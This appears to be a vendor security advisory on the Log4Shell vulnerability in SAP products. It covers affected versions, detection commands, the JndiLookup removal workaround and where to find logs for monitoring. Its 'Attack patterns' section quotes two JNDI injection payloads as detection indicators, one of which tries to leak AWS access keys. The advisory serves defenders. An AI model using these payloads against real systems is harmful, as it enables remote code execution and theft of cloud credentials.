Guidance for CVE-2021-44228 (Log4Shell) and SAP Applications
Note: Please bear in mind that all the information provided here is subject to change due to how quickly new attacks and evasions for the proposed mitigations are found.
Information on this page last updated 10 AM EST on 27 December 2021
UPDATES 12/27/2021:
- Included SAP Security Notes for SAP HANA XSA, for CVE-2021-45046 and CVE-2021-45046
UPDATES 12/17/2021:
- Included SAP Security Note for SAP PI
- Included SAP Central note for CVE-2021-44228 (#3131047)
- Included new information for SAP HANA XS Advanced Applications
Introduction
On December 9th, a critical vulnerability (CVE-2021-44228) was made public in a popular Java logging library, called Log4j. This vulnerability allows remote unauthenticated attackers to achieve command execution in affected targets in a very straightforward way. The implications of this vulnerability are huge as thousands of products use it, including SAP applications. Onapsis Research Labs have been working to understand the impact of this vulnerability in some of the most used SAP products.
This advisory intends to help defenders better assess which systems in the landscape need rapid attention, which workarounds are available, and where to look for additional details in case they need more information.
Affected products
In this section, you can find detailed information about Onapsis’ analysis of CVE-2021-44228 for SAP Netweaver ABAP, SAP Netweaver Java, SAP Commerce and SAP HANA XS Advanced applications. References for additional SAP products will be also provided.
SAP Netweaver ABAP
SAP Netweaver ABAP is not affected by this issue.
SAP Netweaver Java
Onapsis findings on SAP Netweaver Java align with SAP analysis published in SAP Security Note #3129883. A default installation of Netweaver Java is not vulnerable to CVE-2021-44228, as it does not utilize the affected library. However, customers can develop and deploy custom applications on top of Netweaver Java that might be using a vulnerable version of log4j. For such cases, SAP has released a method to check if applications deployed might use the affected library and a workaround to disable the functionality used to trigger the exploit.
How to check if an application uses a potentially vulnerable log4j library
- Log in by SSH to the SAP AS Java system
- Connect via Telnet to the SAP AS Java, and execute the following command:
telnet localhost <5XX08> (where xx is the instance number) - Execute each of the following commands:
-
llr -all -f org/apache/log4j/Logger.class
-
llr -all -f org/apache/logging/log4j/core/Logger.class
-
llr -all -f org/apache/logging/log4j/Logger.class
-
llr -all -f org/apache/naming/factory/BeanFactory.class
-
- If the output of all the above commands is “Such resource cannot be found in the registered loaders!” your system is not affected. In other cases, the output will show an application. Further analysis with the application owner will be needed to determine what version of the library is being used.
Implementing the workaround in SAP AS Java
The original instructions to apply the log4j2.formatMsgNoLookups parameter with a value of true have since been discredited by Apache (https://logging.apache.org/log4j/2.x/security.html). Instead, the instructions for those who cannot apply the new version of the library are to remove the JndiLookup class from the classpath using the following process:
- Identify where potential vulnerable libraries are, you can use the following command:
find / -name “log4j-core-*”
This command will show all log4j core libraries found in the system. You have to check which of those libraries are being used by the application you want to protect.
- Apply the following command for every result returned:
zip -q -d /<path_to_library>/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Note: Before implementing this workaround, review its potential impact in Development systems, as it disables functionality that might be required by your applications.
If you need further information for this scenario, please refer to SAP Security Note #3129883 – CVE-2021-44228 – AS Java Core Components’ impact for Log4j vulnerability (credentials required).
A note on SAP Process Orchestration
SAP has released a specific Security Note (#3131215) for SAP Process Orchestration, a solution based on SAP AS Java that might be affected. The workaround provided above will prevent exploitation of the vulnerability. For additional information please refer to the SAP Security Note.
UPDATE
SAP has released SAP Security Note #3130521 providing updates and additional guidance for SAP Process Integration (SAP PI). It is recommended to review this note if you have an affected system in your landscape.
SAP Commerce (Hybris)
SAP has released three Security Notes addressing CVE-2021-44228 for SAP commerce in different scenarios:
- SAP Commerce OnPremise, SAP Security Note #3130967
- SAP Commerce Cloud (Public Cloud), SAP Security Note #3130939
- SAP Commerce Cloud (SAP Cloud), SAP Security Note #3130982
Checking for vulnerable versions
SAP Commerce versions <= 1905 use a vulnerable version of the library. To check what version of the platform is running, you can perform the following steps:
- Login to the administration console
- Go to: Platform -> Configuration
- Search for “build.version”
If you find that the version running is affected, please refer to the specific SAP Security Note based on your scenario for further instructions on how to address the issue.
SAP HANA XS Advanced applications
UPDATE 12/27
SAP has released SAP Security Note #3134531, addressing CVE-2021-45046 and CVE-2021-45046. This note replaces SAP Security Note #3131397 and SAP Security Note #3132822.
UPDATE
SAP has released SAP Security Note #3131258 providing updates for SAP HANA XS Advanced Applications affected by CVE-2021-44228. It is strongly recommended to upgrade affected applications to the latest version.
After an initial analysis, Onapsis Research Labs found that specific versions of SAP HANA XS Advanced ships applications that might be affected by this issue. SAP has released SAP Security Note #3130698, which states that XS Advanced Runtime versions below 1.0.140 (included) are affected.
Applying the mitigation
Until a patch is released by SAP, it is possible to mitigate this vulnerability by applying a workaround. The original mitigation, which was setting parameter “-Dlog4j2.formatMsgNoLookups” to “true” (see SAP Note for more details) seems to be insufficient according to Apache, the recommended workaround is to remove the JndiLookup class following these steps:
- Search for log4j jar files with:
find / -name “log4j-core-*”
- For every log4j library file <2.10 remove JndiLookup.class with:
zip -q -d log4j-core-<version>.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Other SAP products
UPDATE
SAP has released SAP Note #3131047 to centralize all information related to affected products and workarounds for CVE-2021-44228.
SAP is currently analyzing the impact of this vulnerability on many other products. If you need information about a specific case, please refer to SAP’s response for customers about the Log4j vulnerability.
Monitoring SAP systems against CVE-2021-44228
While the Onapsis Research Labs is not aware of any public exploits specifically targeting SAP products, many bots and compromised machines are already mass probing systems for this vulnerability. It is recommended to monitor the following logs for suspicious activity.
The following information can help as a starting point for your analysis. Please keep in mind that given the high volume of automated attacks we have observed, the probability of finding one or more of the indicators listed below is high. This does not automatically translate to a successful attack. A more thorough analysis will be required than a simple match on a log.
Attack patterns
The following payloads have seen been used in URLs, User-Agents, and other HTTP headers:
- ${jndi:ldap://<host>:<port>/Basic/Command/Base64/<base64string>}
- ${jndi:ldap://${env:AWS_ACCESS_KEY_ID:-x}.$}env:AWS_SECRET_ACCESS_KEY:-x}
Bear in mind that alternatives to these payloads which bypass Web Application Firewalls’ protections are already being used.
SAP Netweaver AS Java
The “responses” log file will log (by default) any exploitation attempt that includes the payload as a URL. You can find it under directory: <nw_installation_dir>/<SID>/J<NR>/j2ee/cluster/server0/log/system/httpaccess/responses*.trc
SAP Commerce
All the platform’s access logs are stored under the directory <hybris_installation_dir>/hybris/log/tomcat. Inside these files, which are organized by day, will log useful data that may allow the detection of exploitation attempts.
SAP HANA XS Advanced Applications
As detailed before, every attempt of exploitation that includes the payload as part of the URL would be logged to an access log. All the access logs that are part of the XSA, from main components such as UAA and Controller up to each application part of the platform, are stored inside:
<hana_installation_dir>/<SID>/controller_data/controller/router/webdispatcher/logs/